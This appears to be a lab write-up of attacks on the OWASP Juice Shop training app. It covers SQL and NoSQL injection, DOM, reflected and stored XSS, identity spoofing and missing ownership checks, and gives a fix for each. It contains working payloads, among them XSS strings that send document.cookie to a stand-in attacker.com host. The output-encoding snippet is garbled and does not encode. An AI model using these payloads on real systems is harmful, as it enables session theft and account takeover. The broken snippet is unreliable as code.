Admin Login via SQL Injection
Authentication bypass via crafted email payload
The login endpoint passes the user-supplied email directly into a SQL query without sanitization. By injecting SQL syntax, the password check can be completely bypassed as the single quote closes the email string and -- terminates the remainder of the query.
{"email":"admin' OR TRUE --","password":"admin"}
SQL LEAKAGE
"sql": "SELECT * FROM Users WHERE email = 'admin OR '1=1 --' AND password = '...'
The server exposed the full SQL query in the error response, facilitating the attack.
// Safe — parameterized query
db.query('SELECT * FROM Users WHERE email = ?', [email])
// Also — never expose SQL errors to the client
res.status(500).json({ error: 'Authentication failed' })
'-- becomes a literal string to match, not a terminator.
DOM-Based XSS via Search Parameter
Inject HTML via location.hash — never touches the server
Angular uses location.hash for routing. The search component renders the q parameter directly into the DOM using innerHTML. Since everything after # stays in the browser, this attack remains invisible to server-side WAFs.
http://localhost:3000/#/search?q=<img src=x onerror="new Image().src='https://attacker.com/steal?c='%2Bdocument.cookie">
WHY img onerror?
Not blocked by CORS. Bypasses certain URI filters that block javascript:.
WHY hash (#)?
Browser does not send fragments to the server. Purely client-side execution.
// Use textContent — treats input as plain text
element.textContent = location.hash.slice(1)
// Angular: use {{ }} not [innerHTML]
<p>{{ searchQuery }}</p>
Reflected XSS via Order Tracking
Server echoes payload in the HTML response
This payload makes a full HTTP round trip. The server processes the id parameter and injects it back into the page markup. In this SPA, a reload is required to force the server call.
http://localhost:3000/#/track-result?id=%3Ciframe%20src%3D%22javascript:alert(%60xss%60)%22%3E
XSS Comparison
| Property | DOM XSS | Reflected XSS |
|---|---|---|
| Hits server? | No | Yes |
| Indicator | # hash | ? param |
// Output encode before inserting into HTML const safe = req.query.id .replace(/&/g, '&') .replace(/</g, '<') .replace(/>/g, '>')
Stored XSS via Product API
Payload persists in database — every visitor is a victim
By intercepting product updates, malicious payloads are stored in the database. This is a passive attack; once injected, the script executes for any user who views the product, including administrators.
"description": "<img src=x onerror='new Image().src=\"https://attacker.com/steal?c=\"+document.cookie'>"
// Sanitize on ingest strip HTML at the API layer
const clean = DOMPurify.sanitize(req.body.description)
db.product.update({ description: clean })
NoSQL Operator Injection
MongoDB operator injection to modify global reviews
The review update endpoint passes the id directly into a MongoDB query. By providing a JSON object with a $in operator, I could modify multiple reviews simultaneously.
{ "id": { "$in": ["ID_1", "ID_2"] }, "message": "hacked" }
if (typeof req.body.id !== 'string') {
return res.status(400).json({ error: 'Invalid id' })
}
Review Author Spoofing
API trusts client-supplied identity claims
The server trusts the "author" field in the JSON body. An attacker can impersonate any user by simply providing their email address in the request payload.
{"message":"spoofed","author":"victim@juice-sh.op"}
// Safe — read from verified JWT server side
const author = req.user.email
db.reviews.insert({ message: req.body.message, author: author })
Insecure Resource Ownership
Lack of validation for resource deletion
While the site uses roles (Admin), it fails to check resource ownership. This allows a user to delete or edit data they do not own.
const review = db.reviews.findOne({ _id: req.params.id })
if (review.author !== req.user.email) {
return res.status(403).json({ error: 'Access Denied' })
}
JWT Exfiltration via Injection
Truncating SQL checks to harvest session tokens
By interpolating user input directly into a reset query, the password check can be bypassed using '--. This returns a valid JWT to the attacker, allowing full account takeover.
Eliminate string interpolation across all authentication and account management endpoints. Trusting any client-supplied identity claim without server-side verification is the root cause across these final 4 vulnerabilities.